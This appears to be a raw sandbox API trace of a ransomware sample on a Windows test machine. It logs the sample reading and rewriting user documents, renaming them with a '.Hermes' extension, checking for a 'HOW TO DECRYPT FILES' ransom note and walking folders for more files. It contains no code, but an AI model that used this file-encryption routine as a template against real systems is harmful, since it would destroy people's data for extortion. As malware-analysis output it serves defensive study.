[0092.322] GetFileType (hFile=0x304) returned 0x1 [0092.322] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x848d [0092.324] ReadFile (in: hFile=0x304, lpBuffer=0x2fba5bc, nNumberOfBytesToRead=0x848d, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x2fba5bc*, lpNumberOfBytesRead=0x19db6c*=0x848d, lpOverlapped=0x0) returned 1 [0092.324] CloseHandle (hObject=0x304) returned 1 [0092.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", lpFilePart=0x0) returned 0x5a [0092.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\hi fm0skji.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.403] GetFileType (hFile=0x304) returned 0x1 [0092.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.403] GetFileType (hFile=0x304) returned 0x1 [0092.403] WriteFile (in: hFile=0x304, lpBuffer=0x3030bd4*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x3030bd4*, lpNumberOfBytesWritten=0x19db60*=0x8490, lpOverlapped=0x0) returned 1 [0092.405] CloseHandle (hObject=0x304) returned 1 [0092.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", lpFilePart=0x0) returned 0x5a [0092.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf.Hermes", lpFilePart=0x0) returned 0x61 [0092.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\hi fm0skji.pdf"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9788e0, ftCreationTime.dwHighDateTime=0x1d4d107, ftLastAccessTime.dwLowDateTime=0xd8d7e90, ftLastAccessTime.dwHighDateTime=0x1d4cebb, ftLastWriteTime.dwLowDateTime=0xb08c4c04, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x8490)) returned 1 [0092.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.407] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\hi fm0skji.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\hi fm0skji.pdf.hermes")) returned 1 [0092.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", lpFilePart=0x0) returned 0x64 [0092.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\pjqnm18yq7so0m2eovaa.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.408] GetFileType (hFile=0x304) returned 0x1 [0092.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.408] GetFileType (hFile=0x304) returned 0x1 [0092.408] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x2dc5 [0092.408] ReadFile (in: hFile=0x304, lpBuffer=0x30397ec, nNumberOfBytesToRead=0x2dc5, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x30397ec*, lpNumberOfBytesRead=0x19db6c*=0x2dc5, lpOverlapped=0x0) returned 1 [0092.408] CloseHandle (hObject=0x304) returned 1 [0092.424] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.424] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", lpFilePart=0x0) returned 0x64 [0092.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\pjqnm18yq7so0m2eovaa.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.428] GetFileType (hFile=0x304) returned 0x1 [0092.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.428] GetFileType (hFile=0x304) returned 0x1 [0092.428] WriteFile (in: hFile=0x304, lpBuffer=0x3094ae8*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x3094ae8*, lpNumberOfBytesWritten=0x19db60*=0x2dd0, lpOverlapped=0x0) returned 1 [0092.429] CloseHandle (hObject=0x304) returned 1 [0092.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv", lpFilePart=0x0) returned 0x64 [0092.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv.Hermes", lpFilePart=0x0) returned 0x6b [0092.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\pjqnm18yq7so0m2eovaa.csv"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4f22d0, ftCreationTime.dwHighDateTime=0x1d4c777, ftLastAccessTime.dwLowDateTime=0x2dcf6260, ftLastAccessTime.dwHighDateTime=0x1d4d413, ftLastWriteTime.dwLowDateTime=0xb08eae43, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x2dd0)) returned 1 [0092.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.442] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\pjqnm18yq7so0m2eovaa.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\pjQnM18Yq7so0m2EOvAa.csv.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\pjqnm18yq7so0m2eovaa.csv.hermes")) returned 1 [0092.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dc5c) returned 1 [0092.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ", lpFilePart=0x0) returned 0x4b [0092.443] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb0b0 [0092.443] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.443] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3e8220, ftCreationTime.dwHighDateTime=0x1d4c8cf, ftLastAccessTime.dwLowDateTime=0xec4b8020, ftLastAccessTime.dwHighDateTime=0x1d4c973, ftLastWriteTime.dwLowDateTime=0xec4b8020, ftLastWriteTime.dwHighDateTime=0x1d4c973, nFileSizeHigh=0x0, nFileSizeLow=0x4555, dwReserved0=0x0, dwReserved1=0x0, cFileName="6Py75SwYl1UPRzmW_N.csv", cAlternateFileName="6PY75S~1.CSV")) returned 1 [0092.443] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4b5aa0, ftCreationTime.dwHighDateTime=0x1d4c7d9, ftLastAccessTime.dwLowDateTime=0x75b6db00, ftLastAccessTime.dwHighDateTime=0x1d4cf9d, ftLastWriteTime.dwLowDateTime=0x75b6db00, ftLastWriteTime.dwHighDateTime=0x1d4cf9d, nFileSizeHigh=0x0, nFileSizeLow=0x112d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwh8SUz-EkAA9R_I.pps", cAlternateFileName="FWH8SU~1.PPS")) returned 1 [0092.443] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb239d4d0, ftCreationTime.dwHighDateTime=0x1d4ca3c, ftLastAccessTime.dwLowDateTime=0xc9563fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3f8, ftLastWriteTime.dwLowDateTime=0xc9563fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3f8, nFileSizeHigh=0x0, nFileSizeLow=0x1137e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gWHrXedhzjeOoW8R u.ods", cAlternateFileName="GWHRXE~1.ODS")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde689e70, ftCreationTime.dwHighDateTime=0x1d4ca36, ftLastAccessTime.dwLowDateTime=0xcb1ba80, ftLastAccessTime.dwHighDateTime=0x1d4d4cf, ftLastWriteTime.dwLowDateTime=0xcb1ba80, ftLastWriteTime.dwHighDateTime=0x1d4d4cf, nFileSizeHigh=0x0, nFileSizeLow=0x17954, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy UYGYQM9MBJYSeMTx.ppt", cAlternateFileName="HYUYGY~1.PPT")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d0090, ftCreationTime.dwHighDateTime=0x1d4cd72, ftLastAccessTime.dwLowDateTime=0x660b73c0, ftLastAccessTime.dwHighDateTime=0x1d4c5eb, ftLastWriteTime.dwLowDateTime=0x660b73c0, ftLastWriteTime.dwHighDateTime=0x1d4c5eb, nFileSizeHigh=0x0, nFileSizeLow=0x9ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pFzSit0y49o.odt", cAlternateFileName="PFZSIT~1.ODT")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9653c0, ftCreationTime.dwHighDateTime=0x1d4ccc6, ftLastAccessTime.dwLowDateTime=0x3e878150, ftLastAccessTime.dwHighDateTime=0x1d4d125, ftLastWriteTime.dwLowDateTime=0x3e878150, ftLastWriteTime.dwHighDateTime=0x1d4d125, nFileSizeHigh=0x0, nFileSizeLow=0x47c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="RJsmk.ots", cAlternateFileName="")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73868e0, ftCreationTime.dwHighDateTime=0x1d4cd1a, ftLastAccessTime.dwLowDateTime=0xad6c68b0, ftLastAccessTime.dwHighDateTime=0x1d4d157, ftLastWriteTime.dwLowDateTime=0xad6c68b0, ftLastWriteTime.dwHighDateTime=0x1d4d157, nFileSizeHigh=0x0, nFileSizeLow=0x5a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="So7sQ6gpKdfTrbp.ppt", cAlternateFileName="SO7SQ6~1.PPT")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db6b190, ftCreationTime.dwHighDateTime=0x1d4d2d8, ftLastAccessTime.dwLowDateTime=0xd7082e60, ftLastAccessTime.dwHighDateTime=0x1d4d130, ftLastWriteTime.dwLowDateTime=0xd7082e60, ftLastWriteTime.dwHighDateTime=0x1d4d130, nFileSizeHigh=0x0, nFileSizeLow=0x15e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WXW6Ahqo3L.ots", cAlternateFileName="WXW6AH~1.OTS")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88967b70, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xdbe93830, ftLastAccessTime.dwHighDateTime=0x1d4c815, ftLastWriteTime.dwLowDateTime=0xdbe93830, ftLastWriteTime.dwHighDateTime=0x1d4c815, nFileSizeHigh=0x0, nFileSizeLow=0xee5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_qklyEfojoWT7b.ods", cAlternateFileName="_QKLYE~1.ODS")) returned 1 [0092.444] FindNextFileW (in: hFindFile=0xfdb0b0, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.444] FindClose (in: hFindFile=0xfdb0b0 | out: hFindFile=0xfdb0b0) returned 1 [0092.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc24) returned 1 [0092.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dc5c) returned 1 [0092.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ", lpFilePart=0x0) returned 0x4b [0092.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb430 [0092.445] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3e8220, ftCreationTime.dwHighDateTime=0x1d4c8cf, ftLastAccessTime.dwLowDateTime=0xec4b8020, ftLastAccessTime.dwHighDateTime=0x1d4c973, ftLastWriteTime.dwLowDateTime=0xec4b8020, ftLastWriteTime.dwHighDateTime=0x1d4c973, nFileSizeHigh=0x0, nFileSizeLow=0x4555, dwReserved0=0x0, dwReserved1=0x0, cFileName="6Py75SwYl1UPRzmW_N.csv", cAlternateFileName="6PY75S~1.CSV")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4b5aa0, ftCreationTime.dwHighDateTime=0x1d4c7d9, ftLastAccessTime.dwLowDateTime=0x75b6db00, ftLastAccessTime.dwHighDateTime=0x1d4cf9d, ftLastWriteTime.dwLowDateTime=0x75b6db00, ftLastWriteTime.dwHighDateTime=0x1d4cf9d, nFileSizeHigh=0x0, nFileSizeLow=0x112d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwh8SUz-EkAA9R_I.pps", cAlternateFileName="FWH8SU~1.PPS")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb239d4d0, ftCreationTime.dwHighDateTime=0x1d4ca3c, ftLastAccessTime.dwLowDateTime=0xc9563fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3f8, ftLastWriteTime.dwLowDateTime=0xc9563fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3f8, nFileSizeHigh=0x0, nFileSizeLow=0x1137e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gWHrXedhzjeOoW8R u.ods", cAlternateFileName="GWHRXE~1.ODS")) returned 1 [0092.446] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde689e70, ftCreationTime.dwHighDateTime=0x1d4ca36, ftLastAccessTime.dwLowDateTime=0xcb1ba80, ftLastAccessTime.dwHighDateTime=0x1d4d4cf, ftLastWriteTime.dwLowDateTime=0xcb1ba80, ftLastWriteTime.dwHighDateTime=0x1d4d4cf, nFileSizeHigh=0x0, nFileSizeLow=0x17954, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy UYGYQM9MBJYSeMTx.ppt", cAlternateFileName="HYUYGY~1.PPT")) returned 1 [0092.446] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d0090, ftCreationTime.dwHighDateTime=0x1d4cd72, ftLastAccessTime.dwLowDateTime=0x660b73c0, ftLastAccessTime.dwHighDateTime=0x1d4c5eb, ftLastWriteTime.dwLowDateTime=0x660b73c0, ftLastWriteTime.dwHighDateTime=0x1d4c5eb, nFileSizeHigh=0x0, nFileSizeLow=0x9ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pFzSit0y49o.odt", cAlternateFileName="PFZSIT~1.ODT")) returned 1 [0092.446] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9653c0, ftCreationTime.dwHighDateTime=0x1d4ccc6, ftLastAccessTime.dwLowDateTime=0x3e878150, ftLastAccessTime.dwHighDateTime=0x1d4d125, ftLastWriteTime.dwLowDateTime=0x3e878150, ftLastWriteTime.dwHighDateTime=0x1d4d125, nFileSizeHigh=0x0, nFileSizeLow=0x47c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="RJsmk.ots", cAlternateFileName="")) returned 1 [0092.446] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73868e0, ftCreationTime.dwHighDateTime=0x1d4cd1a, ftLastAccessTime.dwLowDateTime=0xad6c68b0, ftLastAccessTime.dwHighDateTime=0x1d4d157, ftLastWriteTime.dwLowDateTime=0xad6c68b0, ftLastWriteTime.dwHighDateTime=0x1d4d157, nFileSizeHigh=0x0, nFileSizeLow=0x5a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="So7sQ6gpKdfTrbp.ppt", cAlternateFileName="SO7SQ6~1.PPT")) returned 1 